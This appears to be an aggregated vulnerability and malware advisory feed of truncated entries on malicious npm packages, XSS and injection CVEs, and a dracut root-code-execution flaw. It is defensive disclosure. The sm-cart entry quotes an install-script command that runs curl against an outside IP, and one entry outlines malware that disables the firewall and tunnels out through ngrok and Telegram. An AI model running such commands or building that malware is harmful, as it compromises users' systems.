Malicious code in sm-cart (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 14b02c7ed01f5b6da80999086ceced1c2eb8b8102384f6778862a0bb3ecaebe0 Package [email protected] declares preinstall and postinstall scripts that unconditionally run curl -s http://16.192.173.5/sm-cart/pre and curl -s...

PT-2026-79777

Name of the Vulnerable Software and Affected Versions justhtml versions prior to 1.12.0 Description A mutation cross-site scripting mXSS issue exists during the serialization of raw-text elements, such as and . When the sanitize dom function processes a DOM tree using a custom policy that retains...

malvinci

malvinci Dieses einfache Skript stellt eine neue Art von Malware vor, die die Firewall deaktiviert, einen HTTP-Server startet, ihren Port über ngrok weiterleitet und die URL des Servers über einen Telegram-Bot sendet. Du musst einen neuen Telegram-BOT erstellen. Folge den Schritten hier, um einen...

CVE-2026-30890

Combodo iTop is a web based IT service management tool. Prior to 3.2.3, there is a Reflected Cross-Site Scripting XSS vulnerability in the synchro import script. This issue has been fixed in version 3.2.3...

CVE-2026-54681 DiscordChatExporter: HTML attribute injection via unescaped emoji name in HTML export

DiscordChatExporter saves Discord chat logs to a file. Prior to 2.47.2, the VisitEmojiAsync method in DiscordChatExporter.Core/Exporting/HtmlMarkdownVisitor.cs interpolates emoji.Name into the alt attribute and emoji.Code into the title attribute without HTML entity encoding. This affects HTML...

python: Python: Cross-Site Scripting (XSS) vulnerability in http.cookies module

A flaw was found in Python's http.cookies module. The Morsel.jsoutput function, responsible for generating JavaScript output for cookies, does not properly neutralize the HTML sequence. This oversight could allow a remote attacker to inject malicious script into a web page, potentially leading to...

Jet Admin Cloud Platform multiple vulnerabilities

RISK EVALUATION Jet Admin allows an attacker to create a malicious app and connect it to a target user's custom domain, edit the authentication configuration, and reroute traffic to the attacker-controlled app. Once connected to the target domain, the attacker's workspace is populated with the...

Malicious code in totp-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8cebaa0a3370c12104ef2816420193171f431df0d113fdc5d8c9f1dc921deeb5 Package advertises itself as a TOTP utility but its postinstall script node./index.js --setup 2/dev/null || true and its exported validateSecret API...

MAL-2026-14379 Malicious code in totp-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8cebaa0a3370c12104ef2816420193171f431df0d113fdc5d8c9f1dc921deeb5 Package advertises itself as a TOTP utility but its postinstall script node./index.js --setup 2/dev/null || true and its exported validateSecret API...

CVE-2026-73537

Cross-site scripting vulnerability exists in Miraikan Assist App. If this vulnerability is exploited, an arbitrary script may be executed in the browser component WebView running on the affected product, resulting in the displayed content being altered...

CVE-2026-73537

Cross-site scripting vulnerability exists in Miraikan Assist App. If this vulnerability is exploited, an arbitrary script may be executed in the browser component WebView running on the affected product, resulting in the displayed content being altered...

EUVD-2026-63826

Cross-site scripting vulnerability exists in Miraikan Assist App. If this vulnerability is exploited, an arbitrary script may be executed in the browser component WebView running on the affected product, resulting in the displayed content being altered...

CVE-2026-73537

CVE-2026-73537 is a cross-site scripting (CWE-79) vulnerability in the Miraikan Assist App provided by the Japan Science and Technology Agency (JST) . The flaw allows an arbitrary script to be executed in the app's WebView browser component, potentially altering displayed content. The vulnerabili...

CVE-2026-14325

The Drag and Drop Multiple File Upload for Contact Form 7 WordPress plugin before 1.3.9.9 does not escape one of its settings before using it as an HTML tag name in front-end output, allowing users with administrator access to inject arbitrary web scripts that execute on any front-end page...

CVE-2026-77391

A security flaw has been discovered in SourceCodester Dynamic Input Field Generator Using HTML, CSS, and PHP 1.0. This affects an unknown function. The manipulation results in cross-site request forgery. The attack can be launched remotely. The exploit has been released to the public and may be...

PT-2026-79293

The WPForms Pro plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Single Line Text and Paragraph Text Field Values in all versions up to, and including, 2.0.0.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to...

PT-2026-79399

Jet Admin allows an authenticated attacker to inject JavaScript via the sign-in page's scripts and styles option. Injected script is executed in the context of any visiting user's domain...

Important: Red Hat Security Advisory: dracut security update

An update for dracut is now available for Red Hat Enterprise Linux 9.6 Extended Update Support. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for...

dracut: dracut: root code execution via unescaped error message written to sourced emergency hook script in die()

A flaw was found in dracut. The die error-handling function writes its message into a shell script under the initramfs emergency-hook directory without properly shell-quoting it. When the message contains data derived from the DHCP ROOTPATH option, an attacker on the adjacent network who controls...

CVE-2026-68921 DiceBear: SVG injection via the unescaped rotate option in @dicebear/core (and fontSize/fontWeight in @dicebear/initials)

DiceBear is an avatar library for designers and developers. Prior to 9.4.3, @dicebear/core interpolates the rotate option into an SVG transform attribute without XML escaping in addRotate in packages/@dicebear/core/src/utils/svg.ts, while @dicebear/initials similarly emits fontSize and fontWeight...